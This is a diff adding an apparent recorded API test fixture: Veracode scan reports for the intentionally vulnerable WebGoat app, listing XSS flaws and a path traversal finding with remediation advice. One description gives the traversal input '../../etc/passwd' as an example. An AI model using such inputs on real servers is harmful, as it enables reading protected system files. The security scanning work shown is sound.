+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"98\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"76\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"45\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"127\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"77\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"44\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"100\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"50\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"264\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"79\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"46\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"68\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"80\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"50\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"129\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable thisPage.
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameternames,
+        and javax.servlet.servletrequest.getparameter. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"143\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"89\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n</cwe>\n</category>\n</severity>\n<flaw-status
+        new=\"190\" reopen=\"0\" open=\"0\" fixed=\"0\" total=\"190\" not_mitigated=\"190\"
+        sev-1-change=\"0\" sev-2-change=\"14\" sev-3-change=\"31\" sev-4-change=\"22\"
+        sev-5-change=\"6\"/>\n</detailedreport>\n"
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:16:16 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/3.0/detailedreport.do?build_id=44905
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '200075'
+      Date:
+      - Tue, 27 Oct 2015 12:16:20 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<detailedreport xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
+        xmlns=\"https://www.veracode.com/schema/reports/export/1.0\" xsi:schemaLocation=\"https://www.veracode.com/schema/reports/export/1.0
+        https://analysiscenter.veracode.com/resource/detailedreport.xsd\" report_format_version=\"1.5\"
+        app_name=\"WebGoat\" app_id=\"32338\" first_build_submitted_date=\"2012-02-29
+        16:17:16 UTC\" version=\"5.0\" build_id=\"44905\" submitter=\"Veracode\" platform=\"Java\"
+        assurance_level=\"5\" business_criticality=\"5\" generation_date=\"2015-10-27
+        12:16:20 UTC\" veracode_level=\"VL1\" total_flaws=\"190\" flaws_not_mitigated=\"190\"
+        teams=\"\" life_cycle_stage=\"External or Beta Testing\" planned_deployment_date=\"\"
+        last_update_time=\"2012-03-01 15:03:51 UTC\" is_latest_build=\"true\" policy_name=\"Demo
+        Policy\" policy_version=\"3\" policy_compliance_status=\"Did Not Pass\" policy_rules_status=\"Did
+        Not Pass\" grace_period_expired=\"true\" scan_overdue=\"true\" business_owner=\"\"
+        business_unit=\"Not Specified\" tags=\"\" legacy_scan_engine=\"false\">\n<static-analysis
+        rating=\"D\" score=\"69\" submitted_date=\"2012-02-29 16:16:57 UTC\" published_date=\"2012-03-01
+        14:26:18 UTC\" next_scan_due=\"2012-04-01 13:26:18 UTC\" analysis_size_bytes=\"3734905\">\n<modules>\n<module
+        name=\"WebGoat-5.0-with-jsp.war\" compiler=\"JAVAC_6\" os=\"Java J2SE 6\"
+        architecture=\"JVM\" loc=\"142966\" score=\"69\" numflawssev0=\"117\" numflawssev1=\"0\"
+        numflawssev2=\"14\" numflawssev3=\"19\" numflawssev4=\"21\" numflawssev5=\"2\"/>\n</modules>\n</static-analysis>\n<dynamic-analysis
+        rating=\"D\" score=\"89\" submitted_date=\"2012-03-01 14:58:22 UTC\" published_date=\"2012-03-01
+        15:03:50 UTC\" dynamic_scan_type=\"ds\" scan_exit_status_id=\"0\" scan_exit_status_desc=\"N/A\">\n<modules>\n<module
+        name=\"dynamic_analysis\" compiler=\"Unknown\" os=\"\" architecture=\"\" loc=\"0\"
+        score=\"89\" numflawssev0=\"0\" numflawssev1=\"0\" numflawssev2=\"0\" numflawssev3=\"10\"
+        numflawssev4=\"1\" numflawssev5=\"1\" target_url=\"http://10.10.31.202:8080/webgoat\"
+        domain=\"\"/>\n</modules>\n</dynamic-analysis>\n<manual-analysis rating=\"D\"
+        score=\"81\" submitted_date=\"2012-03-01 14:59:07 UTC\" published_date=\"2012-03-01
+        14:59:14 UTC\" next_scan_due=\"2013-03-01 14:59:14 UTC\">\n<cia_adjustment>0</cia_adjustment>\n<modules>\n<module
+        name=\"manual_analysis\" compiler=\"Unknown\" os=\"\" architecture=\"\" loc=\"0\"
+        score=\"81\" numflawssev0=\"0\" numflawssev1=\"0\" numflawssev2=\"0\" numflawssev3=\"2\"
+        numflawssev4=\"0\" numflawssev5=\"3\"/>\n</modules>\n</manual-analysis>\n<severity
+        level=\"5\">\n<category categoryid=\"1\" categoryname=\"Directory Traversal\"
+        pcirelated=\"false\">\n<desc>\n<para text=\"Allowing user input to control
+        paths used in filesystem operations may enable an attacker to access or modify
+        otherwise protected system resources that would normally be inaccessible to
+        end users.  In some cases, the user-provided input may be passed directly
+        to the filesystem operation, or it may be concatenated to one or more fixed
+        strings to construct a fully-qualified path.\"/>\n<para text=\"When an application
+        improperly cleanses special character sequences in user-supplied filenames,
+        a path traversal (or directory traversal) vulnerability may occur.  For example,
+        an attacker could specify a filename such as &quot;../../etc/passwd&quot;,
+        which resolves to a file outside of the intended directory that the attacker
+        would not normally be authorized to view.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Assume all user-supplied input is malicious.  Validate all user-supplied
+        input to ensure that it conforms to the expected format, using centralized
+        data validation routines when possible.  When using black lists, be sure that
+        the sanitizing routine performs a sufficient number of iterations to remove
+        all instances of disallowed characters and ensure that the end result is not
+        dangerous.\"/>\n</recommendations>\n<cwe cweid=\"22\" cwename=\"Improper Limitation
+        of a Pathname to a Restricted Directory ('Path Traversal')\" pcirelated=\"false\"
+        owasp=\"932\" sans=\"865\" certc=\"743\" certcpp=\"877\">\n<description>\n<text
+        text=\"The software, when constructing file or directory names from input,
+        does not properly sanitize special character sequences that resolve to a file
+        or directory name that is outside of the intended directory or directories.\"/>\n</description>\n<manualflaws>\n<flaw
+        severity=\"5\" categoryname=\"Improper Limitation of a Pathname to a Restricted
+        Directory ('Path Traversal')\" count=\"1\" issueid=\"272\" module=\"manual_analysis\"
+        type=\"\" description=\"The software, when constructing file or directory
+        names from input, does not properly sanitize special character sequences that
+        resolve to a file or directory name that is outside of the intended directory
+        or directories.\" note=\"\" cweid=\"22\" remediationeffort=\"2\" exploitLevel=\"2\"
+        categoryid=\"1\" pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33
+        UTC\" remediation_status=\"New\" cia_impact=\"ppn\" grace_period_expires=\"2012-03-01
+        14:59:14 UTC\" affects_policy_compliance=\"true\" mitigation_status=\"none\"
+        mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack?Screen=306871788&amp;menu=200\"
+        cvss=\"9\" capecid=\"6\" exploitdifficulty=\"1\" inputvector=\"File\">\n<exploit_desc>An
+        attacker can use this to retrieve the contents of arbitrary files on the server.
+        This leads to a full compromise of the application running within the context
+        of the server.</exploit_desc>\n<severity_desc>An attacker can retrieve server
+        state information that allows a compromise of the security boundaries of the
+        application.</severity_desc>\n<remediation_desc>When the set of acceptable
+        objects, such as filenames or URLs, is limited or known, create a mapping
+        from a set of fixed input values (such as numeric IDs) to the actual filenames
+        or URLs, and reject all other inputs.</remediation_desc>\n<appendix>\n<description>undefined</description>\n<screenshot
+        format=\"PNG\">\n<data>iVBORw0KGgoAAAANSUhEUgAAAk4AAAGwCAYAAABfKeoBAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAFnqSURBVHhe7Z0Bkuw2jkT/OX3XOdus2x6t+WkCmaBIlaR6G+HYcQsEgQeIyGJ1z/z6L/8HAQhAAAIQgAAEIGAR+GVZYQQBCEAAAhCAAAQg8F+EE00AAQhAAAIQgAAETAIIJxMUZhCAAAQgAAEIQADhRA9AAAIQgAAEIAABkwDCyQSFGQQgAAEIQAACEEA40QMQgAAEIAABCEDAJIBwMkFhBgEIQAACEIAABBBO9AAEIAABCEAAAhAwCSCcTFCYQQACEIAABCAAAYQTPQABCEAAAhCAAARMAggnExRmEIAABCAAAQhAAOFED0AAAhCAAAQgAAGTAMLJBIUZBCAAAQhAAAIQQDjRAxCAAAQgAAEIQMAkgHAyQWEGAQhAAAIQgAAEEE70AAQgAAEIQAACEDAJIJxMUJhBAAIQgAAEIAABhBM9AAEIQAACEIAABEwCCCcTFGYQgAAEIAABCEAA4UQPQAACEIAABCAAAZMAwskEhRkEIAABCEAAAhBAONEDEIAABCAAAQhAwCSAcDJBYQYBCEAAAhCAAAQQTvQABCAAAQhAAAIQMAkgnExQmEEAAhCAAAQgAAGEEz0AAQhAAAIQgAAETAIIJxMUZhCAAAQgAAEIQGC5cPrjjz/+yz8woAfoAXqAHqAH6IFdPfCf//znYwpuuXD6SYZ/YEAP0AP0AD1AD9ADO3vgU8ppuXD6VCLsCwEIQAACEIAABHYTQDjtJox/CEAAAhCAAAReQwDh9JpSkggEIAABCEAAArsJIJx2E8Y/BCAAAQhAAAKvIYBwek0pSQQCEIAABCAAgd0EEE67CeMfAhCAAAQgAIHXEEA4vaaUJAIBCEAAAhCAwG4CHxFOv36t23alrxb2j9/Dd7vHqv1W+ekbZJfflY34hBhX5osvCEAAAhB4D4F1CqZhMhqMTxqWWayr8nD8ODYIp/e8jGQCAQhAAAL3J4BwGtRot3ByBZFrd6RQtf9Uez4lzk/xYV8IQAACELgvgY8Ip35wHl+LjX4+EgXRV2etn+jWK9qr3ae3yb6qy/xFAsHJP8rF3a/CYnRrdawffX2Z8Y9EnIrnvq8IkUEAAhCAAAT+IbBFOP24V2IjG7BVsVT11cc3Eg69YFAxjXw6X1m6YlH5z/xU8nXFnuLh1p+XEQIQgAAEIPAkArcQTtntSjv0j2Hs3HhUxNsZ4VS9Sclum/pbHiWGInGnRNbxfHR7Nbppau0jVn1tEE5POgaIFQIQgAAEXAK3EE5RsNEwvpNwckFHtz7RDY8jfka3PtHPqkLGFVDVGqnbrwpPbCEAAQhAAAJXE9gmnJxbCkccqFsXVxAoP+7tjbufk5uyUTGPbuBWCadM4LhxObFc3fDsBwEIQAACEDhD4OPCqRVYV/xO0OjrqR5g9feOstuZ7FaofVa54Wlts99JynLNvh4dxaJ8ZcKzr3F2y3ammVkLAQhAAAIQ2E1gq3DaHfwZ/1cP7137ZcLpDB/WQgACEIAABCDwbwJfJZyc26a3NMkuofYWPuQBAQhAAAIQmCHwVcJpBhBrIAABCEAAAhCAwEEA4UQvQAACEIAABCAAAZMAwskEhRkEIAABCEAAAhBAONEDEIAABCAAAQhAwCSAcDJBYQYBCEAAAhCAAASWC6c//vjjv/wDA3qAHqAH6AF6gB7Y1QP/+c9/Pqbglgunn2T4Bwb0AD1AD9AD9AA9sLMHPqWclgunTyXCvhCAAAQgAAEIQGA3AYTTbs